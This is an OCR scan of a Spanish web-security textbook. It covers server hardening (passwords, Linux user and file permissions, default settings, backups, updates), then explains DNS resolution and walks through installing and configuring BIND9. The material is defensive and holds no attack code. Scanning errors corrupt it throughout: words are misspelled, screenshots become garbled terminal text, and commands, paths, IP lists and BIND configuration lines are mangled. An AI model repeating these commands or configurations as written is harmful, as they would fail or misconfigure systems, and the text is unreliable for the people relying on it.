(Y& tenes una cuents Microseft? & usas Hotmail, SkyDrive. Xbox LIVE y quieres peds una direcodn de correo slectrénco Outlookoom fusva «ics
Quién eres?
Nembre
Sheda Berta
Fecha de nacimeerts
21 |=|| dcembre = 1994 »

Seno

Mgjer 2

Céme quieres Inictar sesidn?

Nombre de cuenta M rosoft
@ outicok.comar -

Crad una comtraseia

Las contrasefias deben tener §

CAractenss oMo mMinema y

sssssssssvasan

contener al mencs dos de los
Vuehe 3 escrier la contraseha siguientes elementos:
mayusculas, mindsculas

nimeros y simbolos,
5i pierdes la contrasefia, jcomo podemos ayudarte a
restablecerla?

Nurmers de teiéfono

Figura 17. Una contrasena con una longitud de 14 caracteres o mas,
conformada por letras, nimeros y simbolos, tiene una fortaleza alta.

Permisos de usuarios

Pensemos en una empresa que cuenta con algunos empleados. Es
probable que cada uno tenga a cargo tareas diferentes y que algunas
sean mas importantes que otras, segun el nivel de privilegios y los
permisos que tenga cada empleado para tomar decisiones en la
empresa. Lo mismo sucede en un sistema donde tienen acceso varios
usuarios: no todos tendran los mismos permisos.

En Windows, el usuario con mayores privilegios se denomina
system, mientras que en Linux es el usuario root. Para obtener el
control absoluto del servidor web, un hacker que ingrese al sistema
hara todo lo posible por conseguir los privilegios del usuario root

En Linux, realizar este trabajo desde la terminal es algo sencillo, ya que disponemos de comandos faciles

de usar. Por ejemplo, adduser y addgroup para agregar usuarios y grupos respectivamente. EI comando
chown cambia el propietario de un archivo y chgrp cambia el grupo propietario. En internet encontraremos
informacion detallada sobre el uso de estos comandos.
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0 system (segun corresponda). Por este motivo, es muy importante
que tales usuarios estén protegidos con contrasefia y se utilicen
Unicamente para efectuar tareas administrativas.

[sheyPus-shey : svar/wuw
otal 8
ru-r--r-— 1 misitio web 177 jul 11 04:54 index.html
ruxr-xr-x 2 shey web 4096 jul 11 05:46
sheyRus-shey : svar/wwws

Figura 18. El comando Ts -1 nos muestra en la tercera columna el
propietario del archivo/directorio, y en la cuarta, el grupo al que pertenece.

Si creamos un usuario o grupo de usuarios con permisos limitados
correremos menos riesgos de seguridad vy, si un hacker logra obtener
acceso mediante alguna de estas cuentas, no podra realizar demasiados
cambios en el sistema. No es necesario que un servicio web se ejecute
bajo los permisos de root.

Permisos de acceso a archivos

En los sistemas Linux es posible controlar el acceso a los archivos a
través de la asignacion de permisos, que permiten prohibir o permitir
a un usuario ver, modificar y/o ejecutar un archivo. Los permisos
pueden diferenciarse entre los del propietario, el grupo y los demas
usuarios. En el caso de los archivos, los tres permisos que pueden
aplicarse son: lectura (R), escritura (W) y ejecucion (X).

Como vemos en la Figura 19, los permisos se indican a la
izquierda de la terminal en una notaciéon simboélica conformada
por diez caracteres. El primer caracter indica qué tipo de archivo
es: si consultamos un directorio, entonces sera la letrad, o de lo
contrario el simbolo -.
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EheyPus—shey:vari 1s -1

root
root
whoopsie
root
staff
root
root
mail
root
root
root
root
root

2
B
2
5
2
1
2
2
2
1
S
2
3

lsheyBus—shey: svard

Figura 19. Si queremos saber qué permisos tiene determinado archivo
o directorio podemos hacerlo mediante el comando 1s -1.

Restan nueve caracteres que se dividen en tres grupos: tres para
el propietario, otros tres para el grupo y los ultimos para el resto de
los usuarios. Cada caracter representa un permiso diferente: de lectura,
de escritura y de ejecucion. Si la escritura del archivo esta permitida se
mostrara lIa W, de lo contrario un -; lo mismo sucede con los permisos
de lectura y ejecucion.

Para que quede mas claro, analicemos dos ejemplos:

-rwxr-xr--: al propietario del archivo se le permite verlo, modificarlo
y ejecutarlo, al grupo se le permite verlo y ejecutarlo pero no
modificarlo, y al resto de los usuarios solo verlo.

dr-xr--r--: directorio a cuyo propietario se le permite listar el
contenido y accederlo, pero no crear o borrar archivos. Al grupo y a
los demas usuarios solo se les permite listar el contenido.

Modificar permisos

Los permisos pueden modificarse mediante el comando chmed.
Su uso es: chmod {opciones} {archive}. Las opciones son tres nimeros:
el primero hace referencia al propietario, el segundo al grupo y el
tercero a los demas usuarios. La cifra de los nameros son los permisos
otorgados, y se realiza una suma teniendo en cuenta lo siguiente:
ejecutar = 1, escribir = 2, leer = 4. Si usamos el nimero cero (0)
se anulan todos los permisos sobre el archivo.
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Ejemplo: chmod 766 archivo. Con este comando, establecemos
que el propietario del archivo tenga permisos de lectura, escritura
y ejecucion, mientras que el grupo solo posea permisos de lectura
y escritura, al igual que el resto de los usuarios.

lsheyPus—shey : /var/uuu

otal 8

ru-r—r— 1 misitio web 177 jul 11 04:54 index.htnml

ruxr-xr-x Z shey web 4096 jul 11 05:46
IsheyPus-shey: svar/uww$ sudo chmod 766 index.html
sheyPus-shey: svar/uww$ 1s -1

otal 8

ruxru-rw— 1 misitio web 177 jul 11 04:54 index.htnl

ruxr-xr-x Z shey web 4096 jul 11 05:46
IsheyPus-shey : svar/wwuw$

Figura 20. Sile pasamos a chmod los parametros 766
le otorgaremos permisos de ejecucion solo al propietario.

Si hablamos de seguridad, aplicar permisos de acceso a los archivos es
una medida con claras ventajas. Por ejemplo, si un hacker obtiene acceso
a nuestro servidor web y entra a un directorio donde no tiene permisos
de escritura, no podra borrar ni crear nada nuevo. Si no tiene permisos de
ejecucioén, no podra ejecutar ningtin archivo malicioso ni nada por estilo.

Configuraciones por defecto

Todos los programas traen una configuracion predefinida que luego
podemos modificar. Si no las editamos puede suceder algo similar a lo
que pasa cuando dejamos las contraseias por defecto, es decir, pueden
ocasionarnos un serio problema de seguridad.

Cuando instalamos el servidor HTTP Apache, los registros
(logs) de acceso y error se guardan en una ruta especificada en las
configuraciones por defecto. En el Capitulo 6 veremos una técnica de
“envenenamiento” de logs donde el hacker necesitara conocer la ruta
de estos archivos para concretar el ataque. Si no cambiamos dicha
configuracion, le facilitaremos el trabajo.
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Figura 21. Mediante un error en la programacion de la pagina
podemos acceder a los logs si encontramos su ubicacion.

En los préximos capitulos veremos las configuraciones por defecto
de todos los servicios que instalemos en nuestro servidor web y
aprenderemos a modificarlas para mitigar los riesgos de seguridad.

Reduccion y distribucion de servicios

Es cierto que en un servidor web necesitamos instalar varios
servicios, como el servidor HTTP, el servidor DNS o las bases de datos.
Pero debemos saber que, cuantos mas servicios ejecutandose tengamos
en nuestro servidor, mas facil sera que aparezcan vulnerabilidades.

Cada programa cuenta con sus propios agujeros de seguridad
(bugs), por lo tanto, para minimizar riesgos, es una buena idea
reducir la maxima cantidad posible de servicios (lo que debe
considerarse alin mas si usamos como sistema operativo alguna
distribucién que deba ser adaptada para un servidor web, a diferencia
de Ubuntu Server que ya viene preparada).

El sitio web Hispasec (www.hispasec.com) contiene abundantes noticias e interesante informacion

relacionada a la seguridad informatica. Mediante la suscripcion al servicio “Una al dia", se envia por

correo electrénico una noticia por dia relacionada con la seguridad.
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A los servicios que si se usan podriamos

SIEMPRE distribuirlos entre varios servidores. Seria ideal
DEBEMOS TENER ejecutar un solo servicio en cada servidor pero,
por supuesto, el presupuesto para contar con
UN BACKUP tantos servidores seria muy alto. Una opcion
COMO MEDIDA DE mas accesible es optar por maquinas virtuales.

, , Una maquina virtual, como vimos antes,
PROTECCION BASICA es un software que emula un equipo al cual
podemos instalarle el sistema operativo que
queramos y ejecutar sobre éste cualquier
programa. Esta computadora virtual esta aislada de la maquina
fisica, por eso resulta ideal para distribuir servicios.

Mk

VMware” Workstation 8

Figura 22. VMware Inc. provee una amplia variedad
de software de virtualizacion, tanto pagos como gratuitos.

Respaldo de informacion

Quizas el simple hecho de pensar en perder absolutamente toda
la informacién que tengamos en nuestro servidor nos dé escalofrios.
Antes de que una persona malintencionada entre a nuestro sistema
y borre todo, debemos hacer un backup o copia de seguridad.

Para empezar, copiaremos toda la informacién a una unidad de
almacenamiento de datos, por ejemplo un disco duro externo. Luego
sera cuestion de mantener sincronizados todos los archivos del
servidor web con los del backup.
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Hoy en dia existen programas que realizan esta tarea de modo
automatico y continuo, sin interferir en las actividades que se estén
llevando a cabo en el sistema. Algunos, ademas, incluyen cifrado de datos,
lo que hace mucho mas seguro el envio y almacenamiento de informacién.

Figura 23. Un disco duro externo guardara nuestra informacion
de una manera mas segura que una memoria flash.

Actualizaciones

Tanto el sistema operativo como los programas que instalamos
en él estan en permanente actualizacion. Estas mejoras y parches
muchas veces tienen que ver con soluciones a problemas de seguridad,
por lo cual es muy importante que estemos pendientes y los
apliquemos cuanto antes.

AT

©) ARCERT

La Coordinacién de Emergencias en Redes Teleinformaticas de la Repiblica Argentina (www.arcert.

gov.ar) es un equipo de respuesta ante emergencias teleinformaticas. En su sitio web podemos ver los
objetivos que persigue y su modo de actuar ante incidentes de seguridad. Ademas, contiene recursos y
enlaces con informacion interesante respecto a seguridad, y reportes de incidentes en el sector publico.
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EheyPus-shey: /5 sudo aptitude safe-upgrade
o se instalara, actualizara o eliminara ningin paguete.
D paquetes actualizados, 0 nuevos instalados, 0 para eliminar y 0 sin actualiza

ecesito descargar 0 B de archivos. Después de desempaquetar se usaran 0 B.

cheyRus-shey:/§ _

Figura 24. Con el comando aptitude update
&& aptitude safe-upgrade podemos actualizar Ubuntu Server.

Ademas de las actualizaciones automaticas

ES OBLIGATORIO del software que tenemos instalado, es

ESTAR SIEMPRE practicamente obligatorio estar informados
acerca de las ultimas novedades en el mundo

INFORMADOS Y de la seguridad informatica.

ACTUALIZAR EL Si en un determinado momento es

descubierto algiin agujero de seguridad en el

SOFTWARE INSTALADO software que estamos utilizando, debemos estar

alertas y tomar las medidas necesarias para
evitar que sea aprovechado en nuestro sistema.

. . 114

Security Tube (www.securitytube.net) es un sitio que contiene videos que estan especificamente
relacionados con la seguridad de la informacion. Otra fuente donde obtener este tipo de contenidos
es SecurityFocus (www.securityfocus.com), un conocido sitio de seguridad donde se tratan te-

mas de alto nivel.
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Figura 25. Segu-Info (www.segu-info.com.ar)
es un blog argentino que contiene informacion,
noticias, eventos y foros sobre seguridad informatica.

En este primer capitulo nos hemos introducido en la seguridad informatica a partir de la definicion de

conceptos basicos pero indispensables. Conocimos a los hackers, su historia, su ética y su modo
de pensar. Instalamos un servidor web desde cero para alojar nuestros codigos de ejemplo y realizar
pruebas de seguridad. También aprendimos a crear contrasenas seguras y a administrar permisos
de usuarios y archivos.
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Actividades

TEST DE AUTOEVALUACION

1 Por qué es importante la seguridad informatica aplicada al campo web?
2  ;Quién es un hacker?

3 Cuales son los tipos de comportamientos que puede tener un hacker? A partir
de esto, ;con qué nombres se los clasifica?

4 ;Cual es la diferencia entre Ubuntu Server y otras distribuciones genéricas de
GNU/LINUX?

B ;Qué caracteristicas debe tener una contrasefia para considerarla segura?
;Cudl es el usuario con mayores privilegios en Windows? ;Y en Linux?

7 :De qué modo se indican los permisos de un archivo/directorio en una terminal
Linux? ;Cémo se pueden modificar?

EJERCICIOS PRACTICOS

Instale un servidor web con Ubuntu Server o el sistema operativo que prefiera.
Cree una contrasena segura para cada aplicacion/servicio.
Cree usuarios/grupos y limite sus privilegios.

Modifique los permisos de acceso a archivos.

g A W N =

Modifique las configuraciones por defecto de las aplicaciones que instald en el
servidor web.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Los servidores DNS cumplen un papel muy importante

en el mundo de internet. En este capitulo analizaremos

detalladamente su estructura y funcionamiento. Se explicara

como instalar un servidor DNS Bind9 y obtener informacion

mediante consultas a sus registros, utilizando las herramientas

Dig y Nslookup. Luego aprenderemos técnicas mas avanzadas

de extraccion de datos utiles para un ataque y tomaremos las

medidas adecuadas para proteger los servidores DNS.
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Historia y funcionamiento

Cada vez que navegamos en internet en busca de informacion,
consultamos el clima, revisamos las noticias del dia e ingresamos a
nuestro correo electrénico, hacemos uso del protocolo DNS (Domain
Name System o, en espafiol, Sistema de Nombres de Dominio).
Debido a su constante presencia, podemos estar seguros de que este
protocolo cumple un papel fundamental en el mundo de internet.

En esta primera seccion vamos a explicar como funciona el DNS.
Analizaremos qué es lo que sucede cada vez que escribimos el nombre
de un sitio web en nuestro navegador y, mas adelante, en qué puede
afectar este asunto a la seguridad de nuestro sistema.

Necesidad de los DNS

Cada servidor web conectado a internet tiene una direccion
IP Gnica que lo identifica en la red. Imaginemos si tuviéramos que
memorizar las direcciones IP de cada una de las paginas que visitamos
en internet, seria realmente dificil. Por este motivo se inventaron los
nombres de dominio, que permiten escribir en nuestro navegador
‘www.google.com” en lugar de “173.194.42.18" (IP de Google).

Busqueds

Google

Figura 1. Siintroducimos la IP de Google en nuestro navegador
obtenemos el mismo resultado que al ingresar su nombre de dominio.
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Otra ventaja de los nombres de dominio es que no debemos
preocuparnos por si Google cambia la IP de su servidor web, ya que los
DNS se encargaran de actualizar esa informacion. Por lo general, resulta
mas facil memorizar palabras que nimeros, lo que volvié necesario
inventar un sistema que hiciera la navegacion en internet mas comoda
e intuitiva para los humanos, reemplazando estos nimeros por palabras.

Tipos de servidores DNS

El DNS es una base de datos, distribuida en servidores alrededor del
mundo, que contiene informacién asociada a los nombres de dominio
y sus respectivas direcciones IP.

Cuando ingresamos el nombre de un sitio web en nuestro navegador
realizamos una consulta como la siguiente: “;Cual es la direccién IP
de www.dominio.com?”. Esta consulta es enviada, en primera instancia,
al caché DNS local que se encuentra en nuestro sistema operativo.

El caché almacena copias de las consultas anteriormente realizadas,
de modo que no sea necesario repetir el proceso de resolucion de un
dominio si ya lo hemos hecho antes.

JClaleslaIP

Navegador de www.google.com?
| ] Memoria
caché
WEB 173.194.42.18
SISTEMA OPERATIVO

Figura 2. El sistema operativo, antes de comunicarse con un servidor DNS,
verifica si la respuesta a la consulta realizada se encuentra en su memoria caché.

En caso de que nuestra peticién no sea encontrada en la memoria
caché, sera enviada a un servidor DNS primario, cuya direccion esta
especificada en nuestro sistema operativo. Suele estar configurado
el servidor de nuestro proveedor de internet (ISP, Internet Service
Provider), a menos que hayamos cambiado manualmente la direccion
por la de otro proveedor.
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Es correcto pensar que el servidor DNS primario de un ISP tendra
una caché bastante completa, si tenemos en cuenta que es un servidor
en comun para miles de usuarios a los cuales respondi6 sus consultas.
Es logico que las paginas webs populares, como las de Google, Hotmail,
Yahoo, ya estén almacenadas en su caché.

Quizas estemos pensando en lo siguiente: si un servidor
DNS primario es consultado por miles de usuarios de un ISP, ;jqué
sucederia si éste se cayera o quedara temporalmente fuera de servicio?
¢Quedarian todos los usuarios sin acceso a internet? No. Si algo de eso
ocurriera y el primario quedara fuera de servicio, nuestra consulta
seria enviada a un servidor DNS secundario del ISP, es decir, a un
servidor auxiliar o de respaldo.

CualeslalP
de www.dominio.com?

~ ¢Cual es la IP

. de www.dominio.com?
PC usuario .

Servidor DNS
primario

216.34.94.183

h Servidor DNS
secundario

Figura 3. En caso de que el servidor DNS
primario se encuentre fuera de servicio,
la consulta sera enviada al servidor DNS secundario.

Si bien el protocolo DNS puede funcionar tanto con TCP como con UDP, se utiliza mas con UDP. Este es

un protocolo NO orientado a conexién, lo que significa que no requiere que se establezca una conexion
entre el cliente y el servidor para transferir datos, sino que se envian directamente. Si bien esto lo hace

mas rapido, a la vez resulta mas inseguro.
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Consultas del cliente al servidor

Cuando visitamos un sitio web, por lo general podemos visualizar
su contenido rapidamente. Con esto en mente, es probable que no nos
imaginemos el recorrido que podria llegar a realizar nuestra consulta
para hallar una respuesta.

A partir de ahora analizaremos detalladamente qué es lo que
ocurre cada vez que realizamos una consulta de traduccién (traducir
el nombre de dominio a direccion IP). Por ejemplo, a través de nuestro
navegador web visitando la pagina de noticias del dia.

Consulta recursiva

La consulta recursiva es la que obtiene la respuesta mas rapida,
debido a que su proceso es bastante simple y se realiza sin demoras.
Podriamos comparar este tipo de consulta con la busqueda de un
objeto del cual conocemos la ubicacion. Por ejemplo, si necesitamos
usar nuestro celular y recordamos que lo dejamos en otra habitacién
arriba de la mesa, como sabemos donde esta, sera facil ir a buscarlo
y lo haremos rapido, sin demoras.

La consulta recursiva, entonces, se trata de la ya mencionada
memoria caché. Nuestra peticion ya se ha realizado antes, sea por otras
personas 0 por nosotros mismos, por lo tanto esta almacenada en la
caché del servidor DNS y obtendremos una respuesta rapida.

¢ChaleslalIP
de www.facebok.com?

‘ 31.13.66.49 Q

. Servidor DNS
PC cliente del I.S.P.

Figura 4. Cuando la respuesta a nuestra consulta se encuentra en la caché
del servidor DNS, nos encontramos con una consulta recursiva.

Ahora bien, tal como cuando no recordamos donde hemos dejado
nuestro celular, ;qué ocurre cuando nuestra consulta no esta en la
caché del servidor DNS al cual se la enviamos? Es preciso buscarla,
lo que quizas demore un poco mas de tiempo.

www.redusers.com
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Consulta iterativa

La consulta iterativa es mas lenta que la recursiva, ya que conlleva
un proceso de resolucién de nombres que, en un principio, puede
sonar complejo. Aun asi, al finalizar este primer tema del capitulo,
quedara entendido.

Imaginemos que hacemos la siguiente consulta al servidor DNS de
nuestro ISP (o al que tengamos configurado): “;Cual es la IP de www.
dominioextrafio.mw?” En caso de que encuentre la respuesta en su
caché, nos respondera y la consulta sera recursiva. Si no la encuentra,
el servidor DNS de nuestro ISP consultara a varios servidores DNS, con
el objetivo de resolver el dominio.

Consulta

Respuesta

1 &

Consulta

Respuesta $

e

Servidor DNS

del L.S.P.
| Consulta
Respuesta 9
Servidores
DNS

Figura 5. Sila respuesta a nuestra consulta no se encuentra en la caché
del servidor del ISP, éste consultara a otros servidores DNS.

Existen millones de dominios en internet, pero nosotros estamos
preguntando la IP de solo uno de ellos. Tengamos en cuenta que,
como mencionamos en un principio, el DNS es una base de datos
distribuida, es decir que el servidor DNS de nuestro ISP no podra
consultar tan solo uno de los tantos servidores DNS existentes y recibir
una respuesta. La cuestion es: ;como sabe el servidor del ISP a qué
servidores DNS debe consultar? ;Existe algin orden?

www.redusers.com
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Estructura jerarquica

Mantener coherencia en una base de datos distribuida en
servidores DNS alrededor de todo mundo puede sonar complicado,
y mas si sabemos que los datos que contiene se modifican, aparecen y
desaparecen constantemente. Pero no hay otra opcion, ya que un solo
servidor DNS para millones de usuarios en internet jamas podria
soportar todo el trafico que pasaria sobre él. La solucion al problema
fue implementar una estructura jerarquica en forma de arbol, tal como
puede apreciarse en la Figura 6.

.gov. .com. .Org.
.nasa.gov. .google.com. .wikipedia.org.
|
www.google.com. mail.google.com.

Figura 6. EI DNS es una base de datos distribuida
en servidores DNS alrededor del mundo; para mantener
una coherencia, se empled una estructura arborescente.

En el nivel mas alto esta el dominio raiz o root, representado por
un punto (.). Cada uno de los servidores DNS raiz contiene una base de
datos con las direcciones IP de los servidores del nivel inferior, es decir,
de los dominios .com, .org, .net, etcétera. En la Figura 7 podemos
observar una representacion del contenido de estos servidores.

La extension del dominio puede cambiar segin el pais del sitio web, por ejemplo, .com.ar corresponde

a Argentina. En internet hay sitios web que muestran un listado completo de estas extensiones, y algunas
de ellas pueden resultar curiosas: mw (Malawi), aq (Antértida), tz (Tanzania), tv (Tuvalu), entre otras.
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Datos de un servidor DNS raiz

.com
35140213156
(1183528132
190.43.77.215
.net

ISR BSEIDIIK0
129.197.224.61
154.64.222.124
alalal gyl iels ey
.org
ikehilwretalnis)ole,
190.34.213.131
STE 22 20205 51 228)

Figura 7. Los servidores raiz solo contienen las direcciones IP
de los servidores DNS de los dominios .com, .net, .org, etcétera.

Como podemos observar, cada una de esas direcciones IP corresponde
a un servidor DNS de uno de esos dominios, también llamados dominios
TLD (Top Level Domain), que estan por debajo del raiz.

La informacion que contienen esos servidores DNS es similar a la
de los servidores raiz, pero las direcciones IP seran de los servidores del
nivel inferior.

Un servidor del dominio .com tendria una base de datos con las IP
que corresponden a cada servidor DNS de los dominios inferiores al TLD
.com. Por ejemplo, facebook.com, redusers.com, etcétera.

Los RFC (Request For Comments) son documentos detallados sobre los protocolos de internet. Quien lo

desee puede escribir una propuesta y enviarsela a la IETF (Internet Engineering Task Force), quien deci-
diré si la propuesta pasa a ser un RFC y quizas, en el futuro, un estandar de internet. EI RFC en espafol
del protocolo DNS es www.rfc-es.org/rfc/rfc1034-es.txt.
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Datos de un servidor DNS del dominio .com

google.com
74.125.157.104
74.126.205.105
80.127.109.106
facebook.com
69.63.181.12
69.73.123.67
81.90.191.45
81.34.98.127
redusers.com
98.129.229.238
98.234.148.131
(BXASDNEE 3D

Figura 8. Los servidores de los TLD contienen las direcciones IP
de los servidores DNS del nivel inferior, por ejemplo, google.com.

Ahora bien, llegamos al extremo final del sistema de jerarquia
DNS con estructura de arbol.

Los servidores de este nivel contienen las direcciones IP de
las maquinas especificas del dominio consultado para que el sistema
funcione, por ejemplo, del servidor web e intercambio de correo (tal
como se muestra en la Figura 9).

Se trata, en sintesis, de un sistema complejo pero necesario para
el correcto funcionamiento de internet, para que no haya demoras
cada vez que se solicita la resolucion de un dominio.

El contenido de este archivo puede leerse con un editor de texto como Notepad y su ubicacién varia
segln el sistema operativo (en Windows, la ruta suele ser la siguiente: CAWINDOWS\system32\drivers\etc\

hosts). Cada vez que entramos a una web, este archivo es consultado, ya que contiene direcciones IP y
nombres de dominio, y puede ser usado para bloguear sitios web no deseados.
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Datos de un servidor DNS del dominio google.com

www.google.com
173.194.43.51
173.194.30.25
173.194.50.73
mail.google.com
173.194.41.53
173.194.22.89
173.194.39.21
173.194.10.96
maps.google.com
173.194.40.33
ilz/sialierl 7Eials
173.194.24.48

Figura 9. Cada dominio, por ejemplo www.google.com,
tiene uno o méas servidores DNS que contienen
las IP de las maquinas especificas de dicho dominio.

Es importante saber que cada nivel de la jerarquia es
por completo independiente de su nivel superior. El dominio
www.google.com puede gestionar su nivel sin necesidad de
informarselo a la raiz u otro dominio superior.

Proceso de resolucion de nombres

Ya sabemos cémo estad organizado el DNS, conocimos su estructura,
pero todavia no sabemos de qué manera el servidor de nuestro ISP
obtiene la IP de un dominio que no esta en su caché. Hemos presentado
a la consulta iterativa, que se lleva a cabo cuando esto ocurre. Ahora
explicaremos detalladamente su proceso de resolucién de nombres.

El dominio a traducir es www.redusers.com. Al intentar acceder a
través de nuestro navegador web se envia la consulta al servidor DNS
de nuestro ISP o al que tengamos configurado. Como la respuesta

no esta en su caché, se realiza una consulta iterativa. Los servidores
del ISP tienen en su base de datos las IP de los servidores raiz, y la
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consulta se envia a uno de ellos. El servidor raiz le responde al ISP con
la lista de todos los servidores DNS del TLD consultado (en este caso,
el .com). Se elige una IP para continuar con el proceso de resoluciéon y
la consulta es enviada a uno de esos servidores, que responde que el
servidor DNS ns0.redusers.com tiene autoridad sobre redusers.com
(pueden ser uno o varios servidores).

Finalmente, la consulta se envia a este ultimo servidor DNS, que
responde con la IP de una maquina especifica (en este caso, del sitio
www.redusers.com). Este proceso de resolucién de nombres puede
observarse en la Figura 10.

®

www.redusers.com

lista de servidores.com

l Servidor
raiz

www.redusers.com www.redusers.com
—————————————————

—
nsO.redusers.com
98.129.229.238 (216.69.185.50)
—— e
. Servidor
PC cliente Servidor DNS .com

www.redusers.com

del 1.S.P. @
|

98.129.229.212

nsO.resusers.com

Figura 10. Cuando se realiza una consulta iterativa se lleva
a cabo el proceso de resolucion de nombres.

No solo cuando navegamos en internet visitando paginas web, portales y foros hacemos uso de los DNS, sino

también cuando ingresamos a nuestro correo electronico, ya que posee un nombre de dominio (gmail.com,

hotmail.com o cualquier otro). Practicamente en todo lo que realizamos en internet hacemos uso de los DNS.
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Instalacion de un
servidor BIND9

En el capitulo uno hemos instalado un servidor web con Ubuntu
Server. En esta seccion, vamos a instalar BIND9, el servidor DNS mas
utilizado en internet. La organizacion ISC (Internet Systems Consortium)
se ocupa del mantenimiento de BIND y en su sitio web (www.isc.org)
podemos obtener este software.

Downicad BIND

[ oo ]
Figura 11. www.isc.org/download es la pagina

de descargas de los productos desarrollados por ISC,
donde encontramos la Gltima versién de BIND.

Como puede observarse en el sitio web, la descarga esta disponible
tanto para Windows como para sistemas Unix/Linux, ya que se dispone
del cédigo fuente para ser compilado.

A continuacion, en la préxima seccién, se explicara la instalacién
y compilacion de BIND9 en Ubuntu Server.

Pasos para la instalacion de BIND9

En el siguiente Paso a paso veremos como instalar BIND9.
Tendremos que descargar el codigo fuente, crear los directorios
de instalacion y compilar BIND con los parametros indicados.
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PAP: INSTALACION DE BIND9

Para descargar BIND desde la terminal de Ubuntu Server use el comando wget

0 1 http://ftp.isc.org/isc/bind9/9.9.3/bind-9.9.3.tar.gz. Obtendra
un archivo . tar.gz, que debe descomprimir con tar -zxvf bind-9.9.3.tar.
gz. La direccion URL de descarga y el nombre del archivo pueden variar segiin la
version de BIND.

sheyBubuntu:~$ wget http:/-ftp.isc.org/isc/bind9,9.9.3/bind-9.9.3.tar.gz
--2013-08-19 23:08:40— http:,-ftp.isc.orgrsisc/bind9-9.9.3/bind-9.9.3.tar.gz
Resolviendo ftp.isc.org (ftp.isc.org)... 204.152.184.110

Conectando con ftp.isc.org (ftp.isc.org)[204.152.184.1101:80... conectado.
Peticion HTTP enviada, esperando respuesta... 200 OK

Longitud: 7459387 (7,1M) [applicationsx-gzip]l

Grabando a: wbind-9.9.3.tar.gzm

===>1 7.459.387 6Z5K/s  en 38s
Z2013-08-19 23:09:21 (191 KBrs) - mbind-9.9.3.tar.gzm guardado [7459387-74593871

shey@ubuntu:"§ tar -zxuf bind-9.9.3.tar.gz

2 Antes de compilar aseglrese de que tiene instalado el compilador GCC. En caso de no

0 tenerlo, instdlelo con el comando apt-get install gcc. Cree los directorios de
instalacién ejecutando la siguiente linea: mkdir /usr/local/bind && mkdir
/usr/local/bind/var && mkdir /usr/local/bind/etc. Estos
directorios seran especificados luego como parametro en la configuracion.

shey@ubuntu:™$ sudo apt-get install gcc

Leyendo lista de paguetes... Hecho

Creando arbol de dependencias

Leyendo la informaciom de estado... Hecho

gcc ya estd en su version mas reciente.

D actualizados, 0 se instalaran, 0 para eliminar y 68 no actualizados.
shey@ubuntu:™3 sudo mkdir ~usrslocal/bind

shegﬁubuntu:"S sudo mkdir -susrslocalsbindrsvar

shey@ubuntu:™$ sudo mkdir ~usr-localsbindsetc

sheyBubuntu:~$
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Muévase a la carpeta donde descomprimié BIND y especifique los parametros

03 de configuracién con el comando que sigue: . /configure --prefix=/usr/
Tocal/bind --sysconfdir=/usr/local/bind/etc
--Tocalstatedir=/usr/local/bind/var. Por ultimo, ejecute make &&
make install para finalizar la instalacién.

sheyBubuntu:™$ cd bind-9.9.3

acconfig.h .in install-sh mkinstalldirs

aclocal .m4 isc-config.sh.1 README

Atffile configure.in isc-config.sh.docbook srcid
isc—config.sh.html

bind.keys COPYRIGHT isc-config.sh.in

CHANGES version

config.guess

config.h.in FAQ 1tmain.sh

config.h.win3Z FAQ.xml

config.sub HISTORY Makefile.in

shey@ubuntu:~/bind-9.9.35 sudo ./configure ——prefix=/usr/locals/bind --sysconfdir

=susr/localsbindsetc ——localstatedir=susrslocal/bind/var_

Para quienes no gustan de compilar desde el codigo fuente existe la
posibilidad de instalar BIND9 desde los repositorios de Ubuntu, con tan
solo un comando: apt-get install hind9. Por supuesto, se instalara con las
configuraciones predefinidas.

Configuracion del servidor DNS

Realizaremos la configuracion de BIND9 para que funcione como
un servidor DNS. En este caso, el nombre del dominio a crear sera
hackersenlaweb.net y el servidor DNS se llamara midns, cuya
direccion IP corresponde a 192.168.0.111.

En primer lugar, editamos el archivo named.conf.options, que por lo
general se encuentra en la carpeta /etc/bind. Nos situamos en ese directorio
y ejecutamos el comando nano named.conf.options para editarlo con Nano
(podemos usar cualquier otro editor, como Vi, Emacs, etcétera).
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Dentro de este archivo debemos descomentar la linea forwarders
y agregar las direcciones IP de los servidores DNS de nuestro ISP:

forwarders{
186.130.128.55
200.63.155.98
3

GNU nano 2.2.6 fArchivo: setc/bindsnamed.conf.options

ptions {
directory “svarscachesbind";

/7 If there is a firewall between you and nameservers you want
s to talk to, you may need to fix the firewall to allow multiple
ss ports to talk. See http:/rwwuw.kb.cert.org-uuls-/id- 800113

/7 If your ISP provided one or more IP addresses for stable

/7 nameservers, you probably want to use them as forwarders.

/7 Uncomment the following block, and insert the addresses replacing
¢/ the all-0’s placeholder.

foruwarders {
186.130.128.55:
200.63.155.98:

ss If BIND logs error messages about the root key being expired,
/7 you will need to update your keys. See https

sr==

dnssec-validation auto:

auth-nxdomain no: # conform to RFC1035
listen-on-vb { any: ¥:

8 Ver ayuda fi Guardar @ Leer Fich 0 Cortar Texjfi® Pos actual
fi| Justificarfl!l Buscar Il PegarTxt Ortografia

Figura 12. Editamos el archivo named.conf.options
para agregar las IP de los servidores DNS del ISP.

A continuacion, modificaremos el archivo dhclient.conf para que
nuestro servidor DNS funcione con IP dinamica. Ejecutamos el comando

2 V4"4"%
II" "IIIIIIIIII!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII!lIIIIIIIIIIIIIIIIIIIIII.L_______________
\\

Es importante destacar que si instalamos BIND9 manualmente podremos pasarle mas parametros
de configuracion que solamente los directorios de instalacién. Por ejemplo —disable-ipvé desactiva el

soporte para IPV6, —enable-threads o —disable-threads activan o desactivan los threads, respectivamente, y
—withibtool indica que se usaran las librerias de GNU.
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nano /etc/dhcp/dhclient.conf para editarlo y descomentamos la siguiente
linea: prepend domain-name-servers 127.0.0.1;.

Es necesario modificar la IP 127.0.0.1 por la de nuestro servidor
DNS, que en este caso serda 192.168.0.111.

Llegado el momento de crear las zonas, editaremos el archivo
named.conf.local ubicado en /etc/bind. Nos situamos en esa carpeta y
ejecutamos el comando nano named.conf.local. Aqui agregamos la zona
para el dominio hackersenlaweb.net y el cédigo para que funcione
la resolucion inversa: es decir, si preguntamos por la IP
del servidor, la respuesta debe ser el dominio que creamos.

zone “hackersenlaweh.net”{

type master;

file “/etc/hind/db.hackersenlaweh.net”;
A

zone “0.168.192.in-addr.arpa” {
type master;
file “/etc/hind/db.192.168.0"’;
%

Se indican los archivos de configuracion de cada zona, que mas
adelante crearemos.

